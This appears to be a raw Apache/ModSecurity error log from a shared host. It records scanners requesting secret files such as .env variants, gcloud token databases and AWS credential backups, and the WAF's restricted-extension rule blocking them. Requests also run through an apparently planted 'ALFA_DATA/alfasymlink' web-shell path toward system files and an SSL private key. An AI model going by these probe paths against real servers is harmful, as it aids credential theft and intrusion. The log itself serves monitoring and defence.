[Sat Oct 24 22:14:07.831248 2026] [security2:error] [pid 2707149:tid 2707149] [client 165.154.236.229:39258] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.local"] [unique_id "at1l7zr66i8lbh-yPykExwAAAAA"]
[Sat Oct 24 22:14:08.813725 2026] [security2:error] [pid 2707149:tid 2707149] [client 165.154.236.229:39258] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.production"] [unique_id "at1l8Dr66i8lbh-yPykEyAAAAAA"]
[Sat Oct 24 22:14:08.813990 2026] [security2:error] [pid 2707149:tid 2707149] [client 165.154.236.229:39258] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.production"] [unique_id "at1l8Dr66i8lbh-yPykEyAAAAAA"]
[Sat Oct 24 22:14:08.814301 2026] [security2:error] [pid 2707149:tid 2707149] [client 165.154.236.229:39258] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.production"] [unique_id "at1l8Dr66i8lbh-yPykEyAAAAAA"]
[Sat Oct 24 22:14:10.034473 2026] [security2:error] [pid 2707149:tid 2707149] [client 165.154.236.229:39258] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.development"] [unique_id "at1l8jr66i8lbh-yPykEyQAAAAA"]
[Sat Oct 24 22:14:10.034685 2026] [security2:error] [pid 2707149:tid 2707149] [client 165.154.236.229:39258] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.development"] [unique_id "at1l8jr66i8lbh-yPykEyQAAAAA"]
[Sat Oct 24 22:14:10.034990 2026] [security2:error] [pid 2707149:tid 2707149] [client 165.154.236.229:39258] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.development"] [unique_id "at1l8jr66i8lbh-yPykEyQAAAAA"]
[Sat Oct 24 22:14:11.009444 2026] [security2:error] [pid 2707149:tid 2707149] [client 165.154.236.229:39258] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.backup"] [unique_id "at1l8zr66i8lbh-yPykEygAAAAA"]
[Sat Oct 24 22:14:11.009669 2026] [security2:error] [pid 2707149:tid 2707149] [client 165.154.236.229:39258] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.backup"] [unique_id "at1l8zr66i8lbh-yPykEygAAAAA"]
[Sat Oct 24 22:14:11.009971 2026] [security2:error] [pid 2707149:tid 2707149] [client 165.154.236.229:39258] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.backup"] [unique_id "at1l8zr66i8lbh-yPykEygAAAAA"]
[Sat Oct 24 22:14:11.010010 2026] [security2:error] [pid 2707149:tid 2707149] [client 165.154.236.229:39258] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "64.20.54.226"] [uri "/.env.backup"] [unique_id "at1l8zr66i8lbh-yPykEygAAAAA"]
[Sat Oct 24 22:14:11.010023 2026] [security2:error] [pid 2707149:tid 2707149] [client 165.154.236.229:39258] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "64.20.54.226"] [uri "/.env.backup"] [unique_id "at1l8zr66i8lbh-yPykEygAAAAA"]
[Sat Oct 24 22:14:16.712533 2026] [security2:error] [pid 2693020:tid 2693020] [client 165.154.236.229:48322] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/.config/gcloud/access_tokens.db"] [unique_id "at1l-DKiZtbKEGWJKoLW2gAAACE"]
[Sat Oct 24 22:14:16.712890 2026] [security2:error] [pid 2693020:tid 2693020] [client 165.154.236.229:48322] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.config/gcloud/access_tokens.db"] [unique_id "at1l-DKiZtbKEGWJKoLW2gAAACE"]
[Sat Oct 24 22:14:16.713131 2026] [security2:error] [pid 2693020:tid 2693020] [client 165.154.236.229:48322] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.config/gcloud/access_tokens.db"] [unique_id "at1l-DKiZtbKEGWJKoLW2gAAACE"]
[Sat Oct 24 22:14:17.483143 2026] [security2:error] [pid 2693020:tid 2693020] [client 165.154.236.229:48322] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/.config/gcloud/credentials.db"] [unique_id "at1l-TKiZtbKEGWJKoLW2wAAACE"]
[Sat Oct 24 22:14:17.483481 2026] [security2:error] [pid 2693020:tid 2693020] [client 165.154.236.229:48322] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.config/gcloud/credentials.db"] [unique_id "at1l-TKiZtbKEGWJKoLW2wAAACE"]
[Sat Oct 24 22:14:17.483786 2026] [security2:error] [pid 2693020:tid 2693020] [client 165.154.236.229:48322] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.config/gcloud/credentials.db"] [unique_id "at1l-TKiZtbKEGWJKoLW2wAAACE"]
[Sat Oct 24 22:14:22.122283 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 34.194.233.48:33119] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:14:22.896947 2026] [security2:error] [pid 2684583:tid 2684583] [client 165.154.236.229:48888] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/.aws/credentials.backup"] [unique_id "at1l_j8oejtZfsaip1YpmQAAABE"]
[Sat Oct 24 22:14:22.897274 2026] [security2:error] [pid 2684583:tid 2684583] [client 165.154.236.229:48888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.aws/credentials.backup"] [unique_id "at1l_j8oejtZfsaip1YpmQAAABE"]
[Sat Oct 24 22:14:22.897554 2026] [security2:error] [pid 2684583:tid 2684583] [client 165.154.236.229:48888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.aws/credentials.backup"] [unique_id "at1l_j8oejtZfsaip1YpmQAAABE"]
[Sat Oct 24 22:14:22.897617 2026] [security2:error] [pid 2684583:tid 2684583] [client 165.154.236.229:48888] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "64.20.54.226"] [uri "/.aws/credentials.backup"] [unique_id "at1l_j8oejtZfsaip1YpmQAAABE"]
[Sat Oct 24 22:14:22.897631 2026] [security2:error] [pid 2684583:tid 2684583] [client 165.154.236.229:48888] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "64.20.54.226"] [uri "/.aws/credentials.backup"] [unique_id "at1l_j8oejtZfsaip1YpmQAAABE"]
[Sat Oct 24 22:14:23.580805 2026] [security2:error] [pid 2684583:tid 2684583] [client 165.154.236.229:48888] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/.aws/credentials.bak"] [unique_id "at1l_z8oejtZfsaip1YpmgAAABE"]
[Sat Oct 24 22:14:23.581141 2026] [security2:error] [pid 2684583:tid 2684583] [client 165.154.236.229:48888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.aws/credentials.bak"] [unique_id "at1l_z8oejtZfsaip1YpmgAAABE"]
[Sat Oct 24 22:14:23.581455 2026] [security2:error] [pid 2684583:tid 2684583] [client 165.154.236.229:48888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.aws/credentials.bak"] [unique_id "at1l_z8oejtZfsaip1YpmgAAABE"]
[Sat Oct 24 22:14:26.197399 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 98.84.60.17:30187] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:14:30.125313 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 18.205.213.231:28269] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:14:38.838829 2026] [core:error] [pid 2731598:tid 2731598] (13)Permission denied: [client 185.191.171.15:46402] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/red_zone
[Sat Oct 24 22:14:49.944590 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 85.208.96.206:29756] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:14:58.168614 2026] [ssl:error] [pid 2693020:tid 2693020] (5)Input/output error: [client 18.232.36.1:51564] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:15:02.143176 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 3.212.205.90:30479] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:15:06.147682 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 34.194.14.255:18509] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:15:10.127913 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 52.204.37.237:58475] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:15:18.200611 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 18.213.27.222:13824] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:15:22.282856 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 54.235.191.179:33898] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:15:26.217431 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 185.191.171.8:34586] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-128/shrink
[Sat Oct 24 22:15:30.117113 2026] [core:error] [pid 2731598:tid 2731598] (13)Permission denied: [client 3.93.98.99:43339] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/tty38/subsystem/tty2/subsystem/ttyS0/type
[Sat Oct 24 22:15:42.177670 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 54.197.178.107:22215] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:15:42.177915 2026] [security2:error] [pid 2693020:tid 2693020] [client 54.197.178.107:22215] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/input3/subsystem/event1/subsystem/input0/phys"] [unique_id "at1mTjKiZtbKEGWJKoLW4QAAACE"]
[Sat Oct 24 22:15:42.177977 2026] [security2:error] [pid 2693020:tid 2693020] [client 54.197.178.107:22215] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/input3/subsystem/event1/subsystem/input0/phys"] [unique_id "at1mTjKiZtbKEGWJKoLW4QAAACE"]
[Sat Oct 24 22:15:45.296487 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 85.208.96.201:27766] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:15:52.288049 2026] [security2:error] [pid 2692979:tid 2692979] [client 185.191.171.7:32524] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/d54a4_93011_bfee22e0dd00b29f118b29392ba577ae.key"] [unique_id "at1mWPavbqLdB7btCU--qAAAABc"]
[Sat Oct 24 22:15:52.288416 2026] [security2:error] [pid 2692979:tid 2692979] [client 185.191.171.7:32524] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/d54a4_93011_bfee22e0dd00b29f118b29392ba577ae.key"] [unique_id "at1mWPavbqLdB7btCU--qAAAABc"]
[Sat Oct 24 22:15:52.288799 2026] [security2:error] [pid 2692979:tid 2692979] [client 185.191.171.7:32524] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/d54a4_93011_bfee22e0dd00b29f118b29392ba577ae.key"] [unique_id "at1mWPavbqLdB7btCU--qAAAABc"]
[Sat Oct 24 22:15:58.125857 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 34.194.233.48:63660] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input3/subsystem/input0/subsystem/input1/device/driver/uevent
[Sat Oct 24 22:16:02.136420 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 98.84.200.43:17325] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/kernel/slab/io/reclaim_account
[Sat Oct 24 22:16:18.158192 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 34.192.67.98:20349] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:16:28.407186 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 185.191.171.16:22876] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-16/slabs_cpu_partial
[Sat Oct 24 22:16:34.180797 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 100.24.167.60:23191] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:16:41.659803 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 85.208.96.196:17092] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/shrink
[Sat Oct 24 22:16:58.183351 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 107.20.25.33:1169] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:17:23.255140 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 85.208.96.202:50324] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip6_mrt_cache/remote_node_defrag_ratio
[Sat Oct 24 22:17:34.196323 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 34.205.170.13:27712] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:17:38.184893 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 18.206.47.187:45429] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:17:40.068216 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 185.191.171.19:28310] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:17:42.171527 2026] [core:error] [pid 2731612:tid 2731612] (13)Permission denied: [client 98.82.214.73:36051] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:11/eject
[Sat Oct 24 22:17:50.344139 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 44.216.172.204:63063] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:17:54.278253 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 23.21.119.232:53284] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:18:02.582238 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 23.23.214.190:7230] AH02013: coalesce failed to read from data bucket
